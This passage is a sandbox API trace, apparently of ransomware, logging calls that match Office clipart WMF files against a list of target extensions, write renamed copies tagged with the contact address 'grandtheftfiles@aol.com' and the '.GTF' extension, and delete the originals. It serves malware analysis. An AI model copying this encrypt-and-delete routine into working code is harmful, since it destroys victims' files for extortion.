	[0089.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0089.832] lstrlenW (lpString=".jpg") returned 4
	[0089.832] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0089.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0089.832] lstrlenW (lpString=".doc") returned 4
	[0089.832] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.832] lstrlenW (lpString=".docx") returned 5
	[0089.832] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.832] lstrlenW (lpString=".pdf") returned 4
	[0089.832] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.832] lstrlenW (lpString=".xls") returned 4
	[0089.832] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.833] lstrlenW (lpString=".xlsx") returned 5
	[0089.833] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.833] lstrlenW (lpString=".ppt") returned 4
	[0089.833] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0089.833] lstrlenW (lpString=".zip") returned 4
	[0089.833] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.833] lstrlenW (lpString=".rar") returned 4
	[0089.833] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.833] lstrlenW (lpString=".bz2") returned 4
	[0089.833] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.833] lstrlenW (lpString=".7z") returned 3
	[0089.833] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0089.833] lstrlenW (lpString=".dbf") returned 4
	[0089.833] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0089.833] lstrlenW (lpString=".1cd") returned 4
	[0089.833] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68
	[0089.833] lstrlenW (lpString=".jpg") returned 4
	[0089.833] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.833] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.833] lstrlenW (lpString="IN00919_.WMF") returned 12
	[0089.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0089.834] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=6920) returned 1
	[0089.834] CloseHandle (hObject=0x37c) returned 1
	[0089.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 0x220
	[0089.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0089.834] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.834] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0089.835] GetLastError () returned 0x0
	[0089.835] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x1b08, lpOverlapped=0x0) returned 1
	[0090.325] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x1b10, lpOverlapped=0x0) returned 1
	[0090.337] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.337] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.341] SetEndOfFile (hFile=0x378) returned 1
	[0090.341] CloseHandle (hObject=0x378) returned 1
	[0090.341] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.341] SetEndOfFile (hFile=0x37c) returned 1
	[0090.343] CloseHandle (hObject=0x37c) returned 1
	[0090.343] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.344] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 1
	[0090.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0090.345] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0090.345] lstrlenW (lpString=".doc") returned 4
	[0090.345] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.347] lstrlenW (lpString=".docx") returned 5
	[0090.347] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.347] lstrlenW (lpString=".pdf") returned 4
	[0090.347] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.347] lstrlenW (lpString=".xls") returned 4
	[0090.347] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.347] lstrlenW (lpString=".xlsx") returned 5
	[0090.347] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.347] lstrlenW (lpString=".ppt") returned 4
	[0090.347] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0090.348] lstrlenW (lpString=".zip") returned 4
	[0090.349] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.349] lstrlenW (lpString=".rar") returned 4
	[0090.349] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.349] lstrlenW (lpString=".bz2") returned 4
	[0090.349] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.349] lstrlenW (lpString=".7z") returned 3
	[0090.349] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0090.349] lstrlenW (lpString=".dbf") returned 4
	[0090.349] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0090.349] lstrlenW (lpString=".1cd") returned 4
	[0090.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0090.353] lstrlenW (lpString=".jpg") returned 4
	[0090.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0090.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0090.353] lstrlenW (lpString=".doc") returned 4
	[0090.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.353] lstrlenW (lpString=".docx") returned 5
	[0090.353] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.353] lstrlenW (lpString=".pdf") returned 4
	[0090.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.353] lstrlenW (lpString=".xls") returned 4
	[0090.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.353] lstrlenW (lpString=".xlsx") returned 5
	[0090.354] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.354] lstrlenW (lpString=".ppt") returned 4
	[0090.354] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0090.354] lstrlenW (lpString=".zip") returned 4
	[0090.355] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.355] lstrlenW (lpString=".rar") returned 4
	[0090.355] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.355] lstrlenW (lpString=".bz2") returned 4
	[0090.355] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.355] lstrlenW (lpString=".7z") returned 3
	[0090.355] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0090.364] lstrlenW (lpString=".dbf") returned 4
	[0090.364] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0090.364] lstrlenW (lpString=".1cd") returned 4
	[0090.364] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0090.364] lstrlenW (lpString=".jpg") returned 4
	[0090.364] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.365] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0090.366] lstrlenW (lpString="J0090027.WMF") returned 12
	[0090.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0090.368] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=21268) returned 1
	[0090.368] CloseHandle (hObject=0x37c) returned 1
	[0090.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 0x220
	[0090.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0090.371] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.371] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0090.376] GetLastError () returned 0x0
	[0090.376] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x5314, lpOverlapped=0x0) returned 1
	[0090.378] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x5320, lpOverlapped=0x0) returned 1
	[0090.379] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.379] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.379] SetEndOfFile (hFile=0x378) returned 1
	[0090.379] CloseHandle (hObject=0x378) returned 1
	[0090.379] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.380] SetEndOfFile (hFile=0x37c) returned 1
	[0090.380] CloseHandle (hObject=0x37c) returned 1
	[0090.381] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.381] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 1
	[0090.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0090.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0090.381] lstrlenW (lpString=".doc") returned 4
	[0090.381] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.381] lstrlenW (lpString=".docx") returned 5
	[0090.381] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0090.381] lstrlenW (lpString=".pdf") returned 4
	[0090.381] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.381] lstrlenW (lpString=".xls") returned 4
	[0090.381] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.381] lstrlenW (lpString=".xlsx") returned 5
	[0090.381] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0090.381] lstrlenW (lpString=".ppt") returned 4
	[0090.381] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0090.381] lstrlenW (lpString=".zip") returned 4
	[0090.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.381] lstrlenW (lpString=".rar") returned 4
	[0090.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.382] lstrlenW (lpString=".bz2") returned 4
	[0090.382] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.382] lstrlenW (lpString=".7z") returned 3
	[0090.382] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0090.382] lstrlenW (lpString=".dbf") returned 4
	[0090.382] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0090.382] lstrlenW (lpString=".1cd") returned 4
	[0090.382] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0090.382] lstrlenW (lpString=".jpg") returned 4
	[0090.382] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0090.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0090.382] lstrlenW (lpString=".doc") returned 4
	[0090.382] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.382] lstrlenW (lpString=".docx") returned 5
	[0090.382] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0090.382] lstrlenW (lpString=".pdf") returned 4
	[0090.382] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.382] lstrlenW (lpString=".xls") returned 4
	[0090.382] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.382] lstrlenW (lpString=".xlsx") returned 5
	[0090.382] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0090.382] lstrlenW (lpString=".ppt") returned 4
	[0090.382] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0090.382] lstrlenW (lpString=".zip") returned 4
	[0090.382] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.382] lstrlenW (lpString=".rar") returned 4
	[0090.382] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.382] lstrlenW (lpString=".bz2") returned 4
	[0090.382] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.382] lstrlenW (lpString=".7z") returned 3
	[0090.383] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0090.383] lstrlenW (lpString=".dbf") returned 4
	[0090.383] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0090.383] lstrlenW (lpString=".1cd") returned 4
	[0090.383] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0090.383] lstrlenW (lpString=".jpg") returned 4
	[0090.383] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.383] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0090.383] lstrlenW (lpString="J0090087.WMF") returned 12
	[0090.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0090.384] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=46936) returned 1
	[0090.384] CloseHandle (hObject=0x37c) returned 1
	[0090.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 0x220
	[0090.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0090.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0090.384] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.384] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0090.385] GetLastError () returned 0x0
	[0090.385] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xb758, lpOverlapped=0x0) returned 1
	[0090.387] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xb760, lpOverlapped=0x0) returned 1
	[0090.389] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.389] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.389] SetEndOfFile (hFile=0x378) returned 1
	[0090.389] CloseHandle (hObject=0x378) returned 1
	[0090.389] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.389] SetEndOfFile (hFile=0x37c) returned 1
	[0090.390] CloseHandle (hObject=0x37c) returned 1
	[0090.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0090.390] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 1
	[0090.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0090.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0090.391] lstrlenW (lpString=".doc") returned 4
	[0090.391] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.391] lstrlenW (lpString=".docx") returned 5
	[0090.391] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0090.391] lstrlenW (lpString=".pdf") returned 4
	[0090.391] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.391] lstrlenW (lpString=".xls") returned 4
	[0090.391] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.391] lstrlenW (lpString=".xlsx") returned 5
	[0090.391] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0090.391] lstrlenW (lpString=".ppt") returned 4
	[0090.391] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0090.391] lstrlenW (lpString=".zip") returned 4
	[0090.391] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.391] lstrlenW (lpString=".rar") returned 4
	[0090.391] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.391] lstrlenW (lpString=".bz2") returned 4
	[0090.391] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.391] lstrlenW (lpString=".7z") returned 3
	[0090.391] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0090.391] lstrlenW (lpString=".dbf") returned 4
	[0090.391] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68
	[0090.391] lstrlenW (lpString=".1cd") returned 4
